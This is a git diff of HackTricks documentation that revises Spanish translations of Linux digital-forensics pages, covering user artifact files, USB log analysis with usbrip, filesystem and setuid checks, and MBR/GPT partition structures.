-- **VIM**: Revisa _\~/.viminfo_ para detalles de uso, como rutas de archivos accedidos e historial de búsquedas.
-- **Open Office**: Verifica el acceso a documentos recientes que puedan indicar archivos comprometidos.
-- **FTP/SFTP**: Revisa los registros en _\~/.ftp\_history_ o _\~/.sftp\_history_ para transferencias de archivos que podrían ser no autorizadas.
-- **MySQL**: Investiga _\~/.mysql\_history_ para consultas MySQL ejecutadas, revelando potencialmente actividades no autorizadas en la base de datos.
-- **Less**: Analiza _\~/.lesshst_ para historial de uso, incluyendo archivos vistos y comandos ejecutados.
-- **Git**: Examina _\~/.gitconfig_ y el proyecto _.git/logs_ para cambios en repositorios.
+* **SSH**: Examina _\~/.ssh/authorized\_keys_ y _\~/.ssh/known\_hosts_ en busca de conexiones remotas no autorizadas.
+* **Gnome Desktop**: Revisa _\~/.recently-used.xbel_ en busca de archivos accedidos recientemente a través de aplicaciones de Gnome.
+* **Firefox/Chrome**: Verifica el historial del navegador y las descargas en _\~/.mozilla/firefox_ o _\~/.config/google-chrome_ en busca de actividades sospechosas.
+* **VIM**: Revisa _\~/.viminfo_ para detalles de uso, como rutas de archivos accedidos e historial de búsqueda.
+* **Open Office**: Verifica el acceso reciente a documentos que pueda indicar archivos comprometidos.
+* **FTP/SFTP**: Revisa los registros en _\~/.ftp\_history_ o _\~/.sftp\_history_ en busca de transferencias de archivos que puedan ser no autorizadas.
+* **MySQL**: Investiga _\~/.mysql\_history_ en busca de consultas MySQL ejecutadas, que podrían revelar actividades no autorizadas en la base de datos.
+* **Less**: Analiza _\~/.lesshst_ para el historial de uso, incluidos archivos vistos y comandos ejecutados.
+* **Git**: Examina _\~/.gitconfig_ y el proyecto _.git/logs_ en busca de cambios en los repositorios.
-### Registros de USB
+### Registros USB
[**usbrip**](https://github.com/snovvcrash/usbrip) es un pequeño software escrito en Python 3 puro que analiza archivos de registro de Linux (`/var/log/syslog*` o `/var/log/messages*` dependiendo de la distribución) para construir tablas de historial de eventos USB.
-Es interesante **conocer todos los USB que se han utilizado** y será más útil si tienes una lista autorizada de USB para encontrar "eventos de violación" (el uso de USB que no están en esa lista).
+Es interesante **conocer todos los USB que se han utilizado** y será más útil si tienes una lista autorizada de USB para encontrar "eventos de violación" (el uso de USB que no están dentro de esa lista).
### Instalación
```bash
@@ -334,38 +336,38 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
```
-Más ejemplos e información en el github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
+Más ejemplos e información dentro de GitHub: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
\
-Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
-Accede hoy mismo:
+Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
+Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Revisar Cuentas de Usuario y Actividades de Inicio de Sesión
-Examina los archivos _**/etc/passwd**_, _**/etc/shadow**_ y los **registros de seguridad** en busca de nombres inusuales o cuentas creadas y utilizadas en proximidad a eventos no autorizados conocidos. Además, verifica posibles ataques de fuerza bruta a sudo.\
+Examina el _**/etc/passwd**_, _**/etc/shadow**_ y **registros de seguridad** en busca de nombres inusuales o cuentas creadas y/o utilizadas en estrecha proximidad a eventos no autorizados conocidos. Además, verifica posibles ataques de fuerza bruta a sudo.\
Además, revisa archivos como _**/etc/sudoers**_ y _**/etc/groups**_ en busca de privilegios inesperados otorgados a usuarios.\
-Finalmente, busca cuentas sin contraseñas o con contraseñas **fáciles de adivinar**.
+Finalmente, busca cuentas con **sin contraseñas** o contraseñas **fácilmente adivinables**.
## Examinar el Sistema de Archivos
-### Analizando Estructuras del Sistema de Archivos en Investigaciones de Malware
+### Análisis de Estructuras del Sistema de Archivos en la Investigación de Malware
-En incidentes de malware, la estructura del sistema de archivos es una fuente crucial de información, revelando tanto la secuencia de eventos como el contenido del malware. Sin embargo, los autores de malware están desarrollando técnicas para dificultar este análisis, como modificar las marcas de tiempo de los archivos o evitar el sistema de archivos para el almacenamiento de datos.
+Al investigar incidentes de malware, la estructura del sistema de archivos es una fuente crucial de información, revelando tanto la secuencia de eventos como el contenido del malware. Sin embargo, los autores de malware están desarrollando técnicas para obstaculizar este análisis, como modificar las marcas de tiempo de los archivos o evitar el sistema de archivos para el almacenamiento de datos.
-Para contrarrestar estos métodos antiforense, es esencial:
+Para contrarrestar estos métodos anti-forenses, es esencial:
-* Realizar un **análisis detallado de la línea de tiempo** utilizando herramientas como **Autopsy** para visualizar las líneas de tiempo de eventos o `mactime` de **Sleuth Kit** para datos detallados de la línea de tiempo.
-* Investigar **scripts inesperados** en la variable $PATH del sistema, que podrían incluir scripts de shell o PHP utilizados por atacantes.
-* Examinar `/dev` en busca de archivos atípicos, ya que tradicionalmente contiene archivos especiales, pero puede contener archivos relacionados con malware.
-* Buscar archivos o directorios ocultos con nombres como ".. " (punto punto espacio) o "..^G" (punto punto control-G), que podrían ocultar contenido malicioso.
-* Identificar archivos setuid root con el comando: `find / -user root -perm -04000 -print` Esto encuentra archivos con permisos elevados, que podrían ser abusados por atacantes.
-* Revisar las marcas de tiempo de eliminación en las tablas de inodos para detectar eliminaciones masivas de archivos, lo que podría indicar la presencia de rootkits o troyanos.
-* Inspeccionar inodos consecutivos en busca de archivos maliciosos cercanos después de identificar uno, ya que podrían haber sido colocados juntos.
-* Verificar los directorios binarios comunes (_/bin_, _/sbin_) en busca de archivos modificados recientemente, ya que podrían ser alterados por malware.
+* **Realizar un análisis de línea de tiempo exhaustivo** utilizando herramientas como **Autopsy** para visualizar líneas de tiempo de eventos o `mactime` de **Sleuth Kit** para datos de línea de tiempo detallados.
+* **Investigar scripts inesperados** en el $PATH del sistema, que podrían incluir scripts de shell o PHP utilizados por atacantes.
+* **Examinar `/dev` en busca de archivos atípicos**, ya que tradicionalmente contiene archivos especiales, pero puede albergar archivos relacionados con malware.
+* **Buscar archivos o directorios ocultos** con nombres como ".. " (punto punto espacio) o "..^G" (punto punto control-G), que podrían ocultar contenido malicioso.
+* **Identificar archivos setuid root** utilizando el comando: `find / -user root -perm -04000 -print` Esto encuentra archivos con permisos elevados, que podrían ser abusados por atacantes.
+* **Revisar marcas de tiempo de eliminación** en tablas de inodos para detectar eliminaciones masivas de archivos, lo que podría indicar la presencia de rootkits o troyanos.
+* **Inspeccionar inodos consecutivos** en busca de archivos maliciosos cercanos después de identificar uno, ya que pueden haber sido colocados juntos.
+* **Verificar directorios binarios comunes** (_/bin_, _/sbin_) en busca de archivos modificados recientemente, ya que estos podrían haber sido alterados por malware.
````bash
# List recent files in a directory:
ls -laR --sort=time /bin```
@@ -374,16 +376,16 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n```
````
{% hint style="info" %}
-Ten en cuenta que un **atacante** puede **modificar** la **hora** para que los **archivos parezcan** **legítimos**, pero no puede modificar el **inode**. Si descubres que un **archivo** indica que fue creado y modificado al **mismo tiempo** que el resto de los archivos en la misma carpeta, pero el **inode** es **inesperadamente más grande**, entonces los **timestamps de ese archivo fueron modificados**.
+Tenga en cuenta que un **atacante** puede **modificar** el **tiempo** para hacer que los **archivos aparezcan** **legítimos**, pero no **puede** modificar el **inode**. Si encuentra que un **archivo** indica que fue creado y modificado al **mismo tiempo** que el resto de los archivos en la misma carpeta, pero el **inode** es **inesperadamente más grande**, entonces los **timestamps de ese archivo fueron modificados**.
{% endhint %}
-## Comparar archivos de diferentes versiones de sistemas de archivos
+## Comparar archivos de diferentes versiones del sistema de archivos
-### Resumen de Comparación de Versiones de Sistemas de Archivos
+### Resumen de comparación de versiones del sistema de archivos
-Para comparar versiones de sistemas de archivos y señalar cambios, utilizamos comandos simplificados de `git diff`:
+Para comparar versiones del sistema de archivos y señalar cambios, utilizamos comandos simplificados de `git diff`:
-* **Para encontrar archivos nuevos**, compara dos directorios:
+* **Para encontrar nuevos archivos**, compare dos directorios:
```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
```
@@ -395,13 +397,13 @@ git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ |
```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
```
-* **Opciones de filtro** (`--diff-filter`) ayudan a reducir los cambios específicos como archivos añadidos (`A`), eliminados (`D`), o modificados (`M`).
+* **Las opciones de filtro** (`--diff-filter`) ayudan a reducir a cambios específicos como archivos añadidos (`A`), eliminados (`D`) o modificados (`M`).
* `A`: Archivos añadidos
* `C`: Archivos copiados
* `D`: Archivos eliminados
* `M`: Archivos modificados
* `R`: Archivos renombrados
-* `T`: Cambios de tipo (por ejemplo, archivo a enlace simbólico)
+* `T`: Cambios de tipo (por ejemplo, de archivo a symlink)
* `U`: Archivos no fusionados
* `X`: Archivos desconocidos
* `B`: Archivos rotos
@@ -411,26 +413,26 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)
* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
-* **Libro: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
+* **Libro: Guía de Campo de Forense de Malware para Sistemas Linux: Guías de Campo de Forense Digital**
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking de AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
-¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* Obtén la [**merch oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
**Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-
+
\
-Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
-¡Accede hoy mismo:
+Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
+Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md
index a55834713..474f01f6e 100644
--- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md
+++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md
@@ -1,69 +1,70 @@
-# Particiones/Sistemas de Archivos/Carving
+# Partitions/File Systems/Carving
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
-## Particiones
+## Partitions
-Un disco duro o un **disco SSD puede contener diferentes particiones** con el objetivo de separar físicamente los datos.\
-La **unidad mínima** de un disco es el **sector** (normalmente compuesto por 512B). Por lo tanto, el tamaño de cada partición debe ser múltiplo de ese tamaño.
+Un disco duro o un **SSD puede contener diferentes particiones** con el objetivo de separar datos físicamente.\
+La **unidad mínima** de un disco es el **sector** (normalmente compuesto de 512B). Por lo tanto, el tamaño de cada partición debe ser múltiplo de ese tamaño.
-### MBR (Registro de Arranque Principal)
+### MBR (master Boot Record)
-Se encuentra en el **primer sector del disco después de los 446B del código de arranque**. Este sector es esencial para indicar a la PC qué y desde dónde se debe montar una partición.\
-Permite hasta **4 particiones** (como máximo **solo 1** puede ser activa/**arrancable**). Sin embargo, si necesitas más particiones puedes usar **particiones extendidas**. El **último byte** de este primer sector es la firma del registro de arranque **0x55AA**. Solo una partición puede estar marcada como activa.\
-MBR permite **máximo 2.2TB**.
+Se asigna en el **primer sector del disco después de los 446B del código de arranque**. Este sector es esencial para indicar a la PC qué y desde dónde se debe montar una partición.\
+Permite hasta **4 particiones** (como máximo **solo 1** puede estar activa/**arrancable**). Sin embargo, si necesitas más particiones, puedes usar **particiones extendidas**. El **byte final** de este primer sector es la firma del registro de arranque **0x55AA**. Solo una partición puede marcarse como activa.\
+MBR permite **máx 2.2TB**.
![](<../../../.gitbook/assets/image (489).png>)
![](<../../../.gitbook/assets/image (490).png>)
-Desde los **bytes 440 al 443** del MBR puedes encontrar la **Firma del Disco de Windows** (si se usa Windows). La letra de unidad lógica del disco duro depende de la Firma del Disco de Windows. Cambiar esta firma podría evitar que Windows se inicie (herramienta: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
+Desde los **bytes 440 a 443** del MBR puedes encontrar la **Firma de Disco de Windows** (si se usa Windows). La letra de unidad lógica del disco duro depende de la Firma de Disco de Windows. Cambiar esta firma podría impedir que Windows arranque (herramienta: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
![](<../../../.gitbook/assets/image (493).png>)
**Formato**
-| Offset | Longitud | Elemento |
+| Offset | Length | Item |
| ----------- | ---------- | ------------------- |
-| 0 (0x00) | 446(0x1BE) | Código de arranque |
-| 446 (0x1BE) | 16 (0x10) | Primera Partición |
-| 462 (0x1CE) | 16 (0x10) | Segunda Partición |
-| 478 (0x1DE) | 16 (0x10) | Tercera Partición |
-| 494 (0x1EE) | 16 (0x10) | Cuarta Partición |
+| 0 (0x00) | 446(0x1BE) | Código de arranque |
+| 446 (0x1BE) | 16 (0x10) | Primera partición |
+| 462 (0x1CE) | 16 (0x10) | Segunda partición |
+| 478 (0x1DE) | 16 (0x10) | Tercera partición |
+| 494 (0x1EE) | 16 (0x10) | Cuarta partición |
| 510 (0x1FE) | 2 (0x2) | Firma 0x55 0xAA |
**Formato del Registro de Partición**
-| Offset | Longitud | Elemento |
-| --------- | -------- | --------------------------------------------------------- |
-| 0 (0x00) | 1 (0x01) | Bandera activa (0x80 = arrancable) |
-| 1 (0x01) | 1 (0x01) | Cabeza de inicio |
+| Offset | Length | Item |
+| --------- | -------- | ------------------------------------------------------ |
+| 0 (0x00) | 1 (0x01) | Bandera activa (0x80 = arrancable) |
+| 1 (0x01) | 1 (0x01) | Cabeza de inicio |
| 2 (0x02) | 1 (0x01) | Sector de inicio (bits 0-5); bits superiores del cilindro (6- 7) |
-| 3 (0x03) | 1 (0x01) | Bits más bajos del cilindro de inicio |
-| 4 (0x04) | 1 (0x01) | Código de tipo de partición (0x83 = Linux) |
-| 5 (0x05) | 1 (0x01) | Cabeza final |
-| 6 (0x06) | 1 (0x01) | Sector final (bits 0-5); bits superiores del cilindro (6- 7) |
-| 7 (0x07) | 1 (0x01) | Bits más bajos del cilindro final |
-| 8 (0x08) | 4 (0x04) | Sectores previos a la partición (poco endian) |
-| 12 (0x0C) | 4 (0x04) | Sectores en la partición |
+| 3 (0x03) | 1 (0x01) | Cilindro de inicio, 8 bits más bajos |
+| 4 (0x04) | 1 (0x01) | Código de tipo de partición (0x83 = Linux) |
+| 5 (0x05) | 1 (0x01) | Cabeza final |
+| 6 (0x06) | 1 (0x01) | Sector final (bits 0-5); bits superiores del cilindro (6- 7) |
+| 7 (0x07) | 1 (0x01) | Cilindro final, 8 bits más bajos |
+| 8 (0x08) | 4 (0x04) | Sectores precedentes a la partición (little endian) |
+| 12 (0x0C) | 4 (0x04) | Sectores en la partición |
-Para montar un MBR en Linux primero necesitas obtener el desplazamiento de inicio (puedes usar `fdisk` y el comando `p`)
+Para montar un MBR en Linux, primero necesitas obtener el desplazamiento de inicio (puedes usar `fdisk` y el comando `p`)
-![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
+![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
-Y luego usar el siguiente código
+Y luego usa el siguiente código
```bash
#Mount MBR in Linux
mount -o ro,loop,offset=
@@ -72,68 +73,68 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
```
**LBA (Dirección de bloque lógico)**
-**La dirección de bloque lógico** (**LBA**) es un esquema común utilizado para **especificar la ubicación de bloques** de datos almacenados en dispositivos de almacenamiento de computadoras, generalmente en sistemas de almacenamiento secundario como discos duros. LBA es un esquema de direccionamiento lineal particularmente simple; **los bloques se ubican mediante un índice entero**, siendo el primer bloque LBA 0, el segundo LBA 1, y así sucesivamente.
+**La dirección de bloque lógico** (**LBA**) es un esquema común utilizado para **especificar la ubicación de bloques** de datos almacenados en dispositivos de almacenamiento de computadoras, generalmente sistemas de almacenamiento secundario como discos duros. LBA es un esquema de direccionamiento lineal particularmente simple; **los bloques se localizan mediante un índice entero**, siendo el primer bloque LBA 0, el segundo LBA 1, y así sucesivamente.
### GPT (Tabla de particiones GUID)
-La Tabla de Particiones GUID, conocida como GPT, es preferida por sus capacidades mejoradas en comparación con MBR (Registro de arranque principal). Distintiva por su **identificador único global** para particiones, GPT se destaca en varios aspectos:
+La Tabla de Particiones GUID, conocida como GPT, es preferida por sus capacidades mejoradas en comparación con MBR (Registro de arranque maestro). Distintiva por su **identificador único global** para particiones, GPT se destaca en varios aspectos:
-* **Ubicación y tamaño**: Tanto GPT como MBR comienzan en el **sector 0**. Sin embargo, GPT opera en **64 bits**, a diferencia de los 32 bits de MBR.
-* **Límites de partición**: GPT admite hasta **128 particiones** en sistemas Windows y puede alojar hasta **9.4ZB** de datos.
-* **Nombres de particiones**: Ofrece la capacidad de nombrar particiones con hasta 36 caracteres Unicode.
+* **Ubicación y tamaño**: Tanto GPT como MBR comienzan en **sector 0**. Sin embargo, GPT opera en **64 bits**, en contraste con los 32 bits de MBR.
+* **Límites de partición**: GPT admite hasta **128 particiones** en sistemas Windows y acomoda hasta **9.4ZB** de datos.
+* **Nombres de partición**: Ofrece la capacidad de nombrar particiones con hasta 36 caracteres Unicode.
**Resiliencia y recuperación de datos**:
-* **Redundancia**: A diferencia de MBR, GPT no limita la partición y los datos de arranque a un solo lugar. Replica estos datos en todo el disco, mejorando la integridad y resiliencia de los datos.
-* **Código de redundancia cíclica (CRC)**: GPT emplea CRC para garantizar la integridad de los datos. Monitorea activamente la corrupción de datos y, cuando se detecta, GPT intenta recuperar los datos corruptos desde otra ubicación en el disco.
+* **Redundancia**: A diferencia de MBR, GPT no confina la partición y los datos de arranque a un solo lugar. Replica estos datos a lo largo del disco, mejorando la integridad y resiliencia de los datos.
+* **Verificación de redundancia cíclica (CRC)**: GPT emplea CRC para asegurar la integridad de los datos. Monitorea activamente la corrupción de datos y, cuando se detecta, GPT intenta recuperar los datos corruptos de otra ubicación del disco.
**MBR protector (LBA0)**:
-* GPT mantiene la compatibilidad hacia atrás a través de un MBR protector. Esta característica reside en el espacio de MBR heredado pero está diseñada para evitar que las utilidades más antiguas basadas en MBR sobrescriban por error los discos GPT, protegiendo así la integridad de los datos en discos formateados con GPT.
+* GPT mantiene la compatibilidad hacia atrás a través de un MBR protector. Esta característica reside en el espacio MBR legado pero está diseñada para evitar que utilidades basadas en MBR más antiguas sobrescriban erróneamente discos GPT, protegiendo así la integridad de los datos en discos formateados con GPT.
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>)
**MBR híbrido (LBA 0 + GPT)**
-[Desde Wikipedia](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
+[De Wikipedia](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
-En sistemas operativos que admiten **arranque basado en GPT a través de servicios BIOS** en lugar de EFI, el primer sector también puede usarse para almacenar la primera etapa del código del **cargador de arranque**, pero **modificado** para reconocer **particiones GPT**. El cargador de arranque en el MBR no debe asumir un tamaño de sector de 512 bytes.
+En sistemas operativos que soportan **arranque basado en GPT a través de servicios BIOS** en lugar de EFI, el primer sector también puede seguir utilizándose para almacenar la primera etapa del código del **bootloader**, pero **modificado** para reconocer **particiones GPT**. El bootloader en el MBR no debe asumir un tamaño de sector de 512 bytes.
**Encabezado de la tabla de particiones (LBA 1)**
-[Desde Wikipedia](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
+[De Wikipedia](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
-El encabezado de la tabla de particiones define los bloques utilizables en el disco. También define el número y tamaño de las entradas de partición que conforman la tabla de particiones (desplazamientos 80 y 84 en la tabla).
+El encabezado de la tabla de particiones define los bloques utilizables en el disco. También define el número y tamaño de las entradas de partición que componen la tabla de particiones (desplazamientos 80 y 84 en la tabla).
| Desplazamiento | Longitud | Contenido |
| -------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 bytes | Firma ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h o 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)en máquinas little-endian) |
| 8 (0x08) | 4 bytes | Revisión 1.0 (00h 00h 01h 00h) para UEFI 2.8 |
-| 12 (0x0C) | 4 bytes | Tamaño del encabezado en little-endian (en bytes, generalmente 5Ch 00h 00h 00h o 92 bytes) |
-| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) del encabezado (desplazamiento +0 hasta tamaño del encabezado) en little-endian, con este campo en cero durante el cálculo |
-| 20 (0x14) | 4 bytes | Reservado; debe ser cero |
-| 24 (0x18) | 8 bytes | LBA actual (ubicación de esta copia del encabezado) |
-| 32 (0x20) | 8 bytes | LBA de respaldo (ubicación de la otra copia del encabezado) |
-| 40 (0x28) | 8 bytes | Primer LBA utilizable para particiones (último LBA de la tabla de particiones primaria + 1) |
-| 48 (0x30) | 8 bytes | Último LBA utilizable (primer LBA de la tabla de particiones secundaria − 1) |
-| 56 (0x38) | 16 bytes | GUID del disco en endian mixto |
-| 72 (0x48) | 8 bytes | LBA de inicio de una matriz de entradas de partición (siempre 2 en la copia primaria) |
-| 80 (0x50) | 4 bytes | Número de entradas de partición en la matriz |
-| 84 (0x54) | 4 bytes | Tamaño de una sola entrada de partición (generalmente 80h o 128) |
-| 88 (0x58) | 4 bytes | CRC32 de la matriz de entradas de partición en little-endian |
-| 92 (0x5C) | \* | Reservado; deben ser ceros para el resto del bloque (420 bytes para un tamaño de sector de 512 bytes; pero puede ser más con tamaños de sector más grandes) |
+| 12 (0x0C) | 4 bytes | Tamaño del encabezado en little endian (en bytes, generalmente 5Ch 00h 00h 00h o 92 bytes) |
+| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) del encabezado (desplazamiento +0 hasta el tamaño del encabezado) en little endian, con este campo en cero durante el cálculo |
+| 20 (0x14) | 4 bytes | Reservado; debe ser cero |
+| 24 (0x18) | 8 bytes | LBA actual (ubicación de esta copia del encabezado) |
+| 32 (0x20) | 8 bytes | LBA de respaldo (ubicación de la otra copia del encabezado) |
+| 40 (0x28) | 8 bytes | Primer LBA utilizable para particiones (último LBA de la tabla de particiones primaria + 1) |
+| 48 (0x30) | 8 bytes | Último LBA utilizable (primer LBA de la tabla de particiones secundaria − 1) |
+| 56 (0x38) | 16 bytes | GUID del disco en endian mixto |
+| 72 (0x48) | 8 bytes | LBA inicial de un array de entradas de partición (siempre 2 en la copia primaria) |
+| 80 (0x50) | 4 bytes | Número de entradas de partición en el array |
+| 84 (0x54) | 4 bytes | Tamaño de una única entrada de partición (generalmente 80h o 128) |
+| 88 (0x58) | 4 bytes | CRC32 del array de entradas de partición en little endian |
+| 92 (0x5C) | \* | Reservado; debe ser ceros para el resto del bloque (420 bytes para un tamaño de sector de 512 bytes; pero puede ser más con tamaños de sector más grandes) |
-**Entradas de particiones (LBA 2–33)**
+**Entradas de partición (LBA 2–33)**
| Formato de entrada de partición GUID | | |
-| ----------------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
-| Desplazamiento | Longitud | Contenido |
-| 0 (0x00) | 16 bytes | [GUID del tipo de partición](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (endian mixto) |
-| 16 (0x10) | 16 bytes | GUID de partición único (endian mixto) |
-| 32 (0x20) | 8 bytes | Primer LBA ([little-endian](https://en.wikipedia.org/wiki/Little\_endian)) |
-| 40 (0x28) | 8 bytes | Último LBA (inclusive, generalmente impar) |
-| 48 (0x30) | 8 bytes | Banderas de atributo (por ejemplo, el bit 60 denota solo lectura) |
-| 56 (0x38) | 72 bytes | Nombre de la partición (36 unidades de código UTF-16LE) |
+| ------------------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
+| Desplazamiento | Longitud | Contenido |
+| 0 (0x00) | 16 bytes | [GUID de tipo de partición](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (endian mixto) |
+| 16 (0x10) | 16 bytes | GUID único de partición (endian mixto) |
+| 32 (0x20) | 8 bytes | Primer LBA ([little endian](https://en.wikipedia.org/wiki/Little\_endian)) |
+| 40 (0x28) | 8 bytes | Último LBA (inclusive, generalmente impar) |
+| 48 (0x30) | 8 bytes | Banderas de atributos (por ejemplo, el bit 60 denota solo lectura) |
+| 56 (0x38) | 72 bytes | Nombre de la partición (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE unidades de código) |
**Tipos de particiones**
@@ -143,11 +144,12 @@ Más tipos de particiones en [https://en.wikipedia.org/wiki/GUID\_Partition\_Tab
### Inspección
-Después de montar la imagen forense con [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), puedes inspeccionar el primer sector utilizando la herramienta de Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** En la siguiente imagen se detectó un **MBR** en el **sector 0** e interpretado:
